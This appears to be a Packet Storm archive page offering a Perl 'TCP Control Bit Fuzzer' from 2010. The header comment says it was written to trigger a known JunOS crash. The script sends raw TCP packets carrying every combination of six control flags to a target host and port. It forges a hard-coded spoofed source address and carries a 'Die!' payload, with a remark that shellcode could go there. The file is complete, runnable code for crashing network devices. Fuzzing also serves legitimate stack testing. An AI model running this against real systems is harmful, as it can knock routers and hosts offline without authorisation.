we care because you do

2^6 TCP Control Bit Fuzzer

2^6 TCP Control Bit Fuzzer
Posted Jan 11, 2010
Authored by ShadowHatesYou

2^6 TCP control bit fuzzer (no ECN or CWR).

tags | tcp, fuzzer
MD5 | 59d4a04e97147571391b2f2ebfe8d7f8

2^6 TCP Control Bit Fuzzer

Change Mirror Download
#!/usr/bin/perl
#
# 2^6 TCP Control Bit Fuzzer (No ECN or CWR)
#
# This coded was written originally as a control bit fuzzer for the JunOS 3-9 crash mentioned
# in PSN-2010-01-623 and http://www.securityfocus.com/news/11571 however it will also be useful
# in fuzzing future IP stacks, such as userland IP stacks or embedded systems.
#
# Originally it was was going to be the full 2^8, however Net::RawIP does't support the ECE
# or the CWR bit, so I've got a Metasploit auxillery in the works to cover the full 2^8.
#
# I've left the ece/cwr portions commented out, so if in the future Net::RawIP supports these bits,
# all you need to do is uncomment them and change the 65 in the for loop to a 256.
#
# Written by Shadow, 1/08/2010
# ShadowHatesYou @ irc.freenode.net #remote-exploit

use Net::RawIP;

# Set the packet's payload. Shellcode could go here....
my $data = "Die!";

if ($ARGV[1] eq '') { print "Usage: ./" . $0 . " <ip> <port> <optional
sourceip>\n"; exit(0); }
if ($ARGV[2] eq '') { my $src_ip = "72.52.4.181" } else { my $src_ip =
$ARGV[2] }

my $packet = new Net::RawIP({tcp=>{}});
$packet->set({
ip => {
saddr => $src_ip,
daddr => $ARGV[0],
id => 666
}
});
# Build packet $i with TCP control options $i
for (my $i=0; $i < 64; $i++) {
my $packet = new Net::RawIP({tcp=>{}});
# Get our options
my $binary = sprintf("%b", $i);
my @bits = split(//, $binary);
# Set the source and destination IP
$packet->set({
tcp => {
source => $ARGV[1],
dest => $ARGV[1],
data => $data,
syn => @bits[0],
ack => @bits[1],
fin => @bits[2],
rst => @bits[3],
psh => @bits[4],
urg => @bits[5],
# cwr => @bits[6],
# ece => @bits[7]
}
});
# Packets away.
print "Sending packet " . ($i + 1) . " to " . $ARGV[0] . ":" .
$ARGV[1] . " Bits: @bits\n";
$packet->send;
}
exit(0);

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close